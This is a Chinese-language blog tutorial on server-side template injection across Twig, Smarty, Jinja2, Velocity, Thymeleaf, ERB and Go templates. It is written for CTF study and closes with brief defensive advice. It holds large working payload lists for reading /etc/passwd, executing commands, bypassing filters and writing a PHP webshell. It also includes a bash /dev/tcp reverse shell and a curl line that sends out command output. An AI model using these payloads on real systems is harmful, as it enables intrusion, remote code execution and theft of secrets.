# SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

SSTI 是 CTF 的常客,在 PHP,java,python,甚至 go 中都存在 ssti,为了不再做爆零小笨蛋,本文准备结合 ctf+cms 深入了解一下 ssti

# 模板引擎

模板引擎(这里特指用于 Web 开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的 html 代码,模板引擎会提供一套生成 html 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 html 页面,然后反馈给浏览器,呈现在用户面前。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的 HTML 字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是 json 等数据包封装的数据,也可能是 html 代码,他都是由浏览器前端来解析渲染成 html 的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

# SSTI 模板注入

当前使用的一些框架,比如 python 的 flask,php 的 tp,java 的 spring 等一般都采用成熟的的 MVC 的模式,用户的输入先进入 Controller 控制器,然后根据请求类型和请求的指令发送给对应 Model 业务模型进行业务逻辑判断,数据库存取,最后把结果返回给 View 视图层,经过模板渲染展示给用户。因此 SSTI 存在于 MVC 模式当中的 View 层。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

img

其实 ctf 多做做就会发现最几年的出题趋势

18,19 年 php 和 python ssti,一直到 2022 年的 go ssti

image-20221203100847401

区别模板

image-20221202175327246

攻击 payload 构造

1
2
毕竟渗透测试,对于所有渗透测试也都是适用的。
先从探测漏洞 --> 证明存在该漏洞 --> 漏洞的进一步利用

模板引擎会自动执行数学运算,所以如果我们输入一个运算,例如

1
http://111.com/?username=${7*7}

如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞。

# PHP

# twig

Twig 是来自于 Symfony 的模板引擎,它非常易于安装和使用。它的操作有点像 Mustache 和 liquid。

1
2
3
4
5
6
7
<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);
  $twig = new Twig_Environment(new Twig_Loader_String());
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
  echo $output;
?>

Twig 使用一个加载器 loader (Twig_Loader_Array) 来定位模板,以及一个环境变量 environment (Twig_Environment) 来存储配置信息。

其中,render () 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。

使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于 GET 请求参数 $_GET [“name”] 。

也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:

img

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

1
2
3
4
5
6
<?php
  require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
  Twig_Autoloader::register(true);
  $twig=newTwig_Environment(newTwig_Loader_String());
  $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
  echo $output;?>

上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:

如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

在 Twig 模板引擎里,, 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值。

例如这里用户输入 name=20 ,则在服务端拼接的模版内容为:

img

以上使用的 twig 为 2.x 版本,现在官方已经更新到 3.x 版本,根据官方文档新增了 filter 和 map 等内容,补充一些新版本的 payload:

1
2
3
4
5
6
7
8
9
10
11
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

# smarty

Smarty 是最流行的 PHP 模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数 (相当于存在了一个 disable_function)

$smarty 内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

注入点:

  • XFF
  • Client IP

payload:

1
2
3
4
5
{$smarty.version}  #获取smarty的版本号
{php}phpinfo();{/php} #执行相应的php代码,在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
<script language="php">phpinfo();</script> #<script language="php">phpinfo();</script> ,只适用于php5,原理是{literal}标签
{self::getStreamVariable("file:///etc/passwd")} #在3.1.30的Smarty版本中官方已经把该静态方法删除
{if phpinfo()}{/if}

# python

# Flask&jinja2

这里先补充一些 flask 的知识

我们有如下代码

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route("/")
def hello_world():
return "hello world"

if __name__ == '__main__':
app.run()

如果没有 flask 报错就自己去 pip3 install

image-20221203102807012

此时可以在 web 上运行 hello world 了,访问 http://127.0.0.1:5000 便可以看到打印出 Hello World

# route

1
@app.route('/')

使用 route()装饰器告诉 Flask 什么样的 URL 能触发我们的函数

route()装饰器把一个函数绑定到对应的 URL 上,这句话相当于路由,一个路由跟随一个函数,如

1
2
3
@app.route('/')
def test()"
return 123

访问 127.0.0.1:5000 / 则会输出 123,我们修改一下规则

1
2
3
@app.route('/test')
def test()"
return 123

这个时候访问 127.0.0.1:5000/test 会输出 123.

此外还可以设置动态网址,

1
2
3
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username

根据 url 里的输入,动态辨别身份,此时便可以看到如下页面:

image-20221203103046869

或者可以使用 int 型,转换器有下面几种:

1
2
3
4
5
6
7
8
int    接受整数
float 同 int ,但是接受浮点数
path 和默认的相似,但也接受斜线

@app.route('/post/<int:post_id>')
def show_post(post_id):
# show the post with the given id, the id is an integer
return 'Post %d' % post_id
1
app.run(debug=True)

这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加 debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

1
app.run(host='0.0.0.0')

这会让操作系统监听所有公网 IP, 此时便可以在公网上看到自己的 web。

# 模板渲染

1
2
3
4
5
6
from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
return render_template('hello.html', name=name)//我们hello.html模板未创建所以

模板渲染体系,render_template 函数渲染的是 templates 中的模板,所谓模板是我们自己写的 html,里面的参数需要我们根据每个用户需求传入动态变量。

1
2
3
4
5
├── app.py  
├── static
│ └── style.css
└── templates
└── index.html

我们写一个 index.html 文件写 templates 文件夹中。

1
2
3
4
5
6
7
8
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>

我们在 app.py 文件里进行渲染。

1
2
3
4
5
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
user = {'name': '小猪佩奇'}#传入一个字典数组
return render_template("index.html",title='Home',user=user)

这次渲染我们没有使用用户可控,所以是安全的,如果我们交给用户可控并且不过滤参数就有可能造成 SSTI 模板注入漏洞。

渲染的方法有 render_templaterender_template_string 两种。

render_template () 是用来渲染一个指定的文件的

1
return render_template('index.html')

render_template_string 则是用来渲染一个字符串的

1
2
html = '<h1>This is index page</h1>'
return render_template_string(html)

# Flask/jinja2 模板注入

Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}}

Jinja2 使用 {{name}} 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在 {%…%} 块中

1
2
3
4
5
<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

模板的不安全使用:示例 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

t = Template (“hello” + name) 这行代码表示,将前端输入的 name 拼接到模板,此时 name 的输入没有经过任何检测,尝试使用模板语言测试:

img

如果使用一个固定好了的模板,在模板渲染之后传入数据,就不存在模板注入,就好像 SQL 注入的预编译一样,修复上面代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello {{n}}")
return t.render(n=name)

if __name__ == "__main__":
app.run()

模板的不安全使用:示例 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)

return render_template_string(template)

if __name__ == '__main__':
app.debug = True
app.run()

正常代码:

1
2
3
4
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
return render_template("index.html",title='Home',user=request.args.get("key"))
1
2
3
4
5
6
发现`{{ --- }}`其中的语句被执行了

- 这是因为在flask中,渲染引擎Jinja2会将`{{ --- }}`视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行
- 那么,在上一段代码中,如果我们传入的参数内容为`{{ --- }}`包裹的代码,这些代码就会被执行

两种代码的形式是,一种当字符串来渲染并且使用了`%(request.url)`,另一种规范使用index.html渲染文件。我们漏洞代码使用了`render_template_string`函数,而如果我们使用`render_template`函数,将变量传入进去,现在即使我们写成了request,我们可以在url里写自己想要的恶意代码`{{}}`你将会发现如下:

image-20221203104033489

在上述例子中,虽然已经可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句虽然可以执行,却不会执行成功

img

即使在服务器端将 os 包含进来,但是在渲染时仍然会出现这个错误,这就是因为沙盒机制严格地限制了程序的行为

沙箱逃逸的过程简单讲如下

img

由于在 jinja2 中是可以直接访问 python 的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

1
2
3
4
5
6
7
8
__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__   :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法
__globals__   :对包含函数全局变量的字典的引用__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

jinja2 使用 file 读取文件

python3 已经移除了 file。所以利用 file 子类文件读取只能在 python2 中用。

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

jinja2 命令执行

1
2
3
4
5
6
7
8
9
10
# python2
().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami')

#python3
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

过滤 [

1
2
3
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

1
2
3
4
5
6
7
8
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤下划线

1
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤 join

1
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

过滤花括号

1
2
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

RCE

1
2
3
{%set%20a,b,c,d,e,f,g,h,i%20=%20request.__class__.__mro__%}{{i.__subclasses__().pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337

{%set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337

利用示例:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //popen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

flask 之 ssti 模版注入从零到入门 - 先知社区 (aliyun.com)

一些 SSTI 的利用方法

XSS

img

以 GET 方式从 URL 处获取 code 参数的值,然后将它输出到页面 .

这段代码非常容易看出来存在安全隐患。后端没有对用户输入的内容进行过滤,就直接将它输出到页面 输入端是完全可控的。这就产生了代码域与数据域的混淆

img

反弹 shell

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

这个 Payload 不能直接放在 URL 中执行,因为 & 的存在会导致 URL 解析出现错误 可以使用 BurpSuite 等工具构造数据包再发送

img

  • request.environ 一个与服务器环境相关的对象字典。访问该字典可以拿到很多你期待的信息

  • config.items 一个类字典的对象,包含了所有应用程序的配置值 在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY 等敏感值

# tornado

1
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

# java

# velocity

Apache Velocity 是一个基于 Java 的模板引擎,它提供了一个模板语言去引用由 Java 代码定义的对象。Velocity 是 Apache 基金会旗下的一个开源软件项目,旨在确保 Web 应用程序在表示层和业务逻辑层之间的隔离(即 MVC 设计模式)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 漏洞源码
private static void velocity(String template){
Velocity.init();

VelocityContext context = new VelocityContext();

context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");

StringWriter swOut = new StringWriter();
// 使用Velocity
Velocity.evaluate(context, swOut, "test", template);
}

POC
http://localhost:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

白头搔更短,SSTI 惹人心! - 先知社区 (aliyun.com)

# Thymeleaf

Thymeleaf 是 SpringBoot 中的一个模版引擎,个人认为有点类似于 Python 中的 Jinja2,负责渲染前端页面。

Thymeleaf 中的表达式有好几种

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

片段表达式语法:

  1. ~{templatename::selector},会在 /WEB-INF/templates/ 目录下寻找名为 templatename 的模版中定义的 fragment ,如上面的 ~{footer :: copy}
  2. ~{templatename},引用整个 templatename 模版文件作为 fragment
  3. ~{::selector} 或~{this::selector},引用来自同一模版文件名为 selectorfragmnt

其中 selector 可以是通过 th:fragment 定义的片段,也可以是类选择器、ID 选择器等。

~{} 片段表达式中出现 :: ,则 :: 后需要有值,也就是 selector

预处理

语法: __${expression}__

官方文档对其的解释:

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如 __${expression}__ )包围。

个人感觉这是出现 SSTI 最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行

最常见的 payload:

1
lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

通过 __${}__::.x 构造表达式会由 Thymeleaf 去执行

Java 安全之 Thymeleaf SSTI 分析 - Zh1z3ven - 博客园 (cnblogs.com)

# ruby

# ERB

ERB 的文档的语法如图所示

image

对主页面下进行 /?message 的参数探测,发现可以输入 /?message
再构造探测的 Payload,并将其转换为 url 编码

1
%= 7*7 %

image-20221203111704891

回显 “49” 正是存在 SSTI 的证明,于是我们将 7*7 进行修改,改成任意命令注入的形式 system (“whoami”)`

ERB 引擎的安全文档指出可以列出所有目录,然后按如下方式读取任意文件。

1
2
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

从 0 到 1 完全掌握 SSTI - FreeBuf 网络安全行业门户

(71 条消息) ssti 详解与例题以及绕过 payload 大全_HoAd’s blog 的博客 - CSDN 博客_ssti 绕过

一文了解 SSTI 和所有常见 payload 以 flask 模板为例 - 腾讯云开发者社区 - 腾讯云 (tencent.com)

# go

Go 提供了两个模板包。一个是 text/template ,另一个是 html/template 。text/template 对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而 html/template 与 text/template 基本相同,但增加了 HTML 编码等安全保护,更加适用于构建 web 应用程序

template 之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端

# text/template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"net/http"
"text/template"
)

type User struct {
ID int
Name string
Email string
Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}

func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}

struct 是定义了的一个结构体,在 go 中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下

1
2
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com

image-20221204114031009

可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go 模板是提供字符串打印功能的,我们就有机会实现 xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"net/http"
"text/template"
)

type User struct {
ID int
Name string
Email string
Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}

func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
1
2
3
模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com
实际输出 弹出/xss/

这里就是 text/template 和 html/template 的最大不同了

# html/template

同样的例子,但是我们把导入的模板包变成 html/template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"net/http"
"html/template"
)

type User struct {
ID int
Name string
Email string
Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}

func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}

图片

可以看到,xss 语句已经被转义实体化了,因此对于 html/template 来说,传入的 script 和 js 都会被转义,很好地防范了 xss,但 text/template 也提供了内置函数 html 来转义特殊字符,除此之外还有 js,也存在 template.HTMLEscapeString 等转义函数

# template 常用基本语法

{{}}`内的操作称之为pipeline

1
2
3
4
5
6
7
8
9
10
11
12
13
{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版
在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符 .`

在 template 中,点 "." 代表当前作用域的当前对象,它类似于 java/c++ 的 this 关键字,类似于 perl/python 的 self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"net/http"
"text/template"
)

type User struct {
ID int
Name string
Email string
Password string
}

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}

func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}

输出为

1
2
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John]

可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在 SSTI

浅学 Go 下的 ssti (qq.com)

最后在放上我的

新建脑图 - 百度脑图 (baidu.com)

# Tplmap

https://github.com/epinna/tplmap

1
pip install PyYaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea"                             //判断是否是注入点
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

GET parameter: name //说明可以注入,同时给出了详细信息
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok //检验出这些利用方法对于目标环境是否可用
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
//可以利用下面这些参数进行进一步的操作
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

# SSTI 的防护

(1) 和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制。
(2) 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法。

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

John Doe WeChat Pay

WeChat Pay

John Doe Alipay

Alipay

John Doe PayPal

PayPal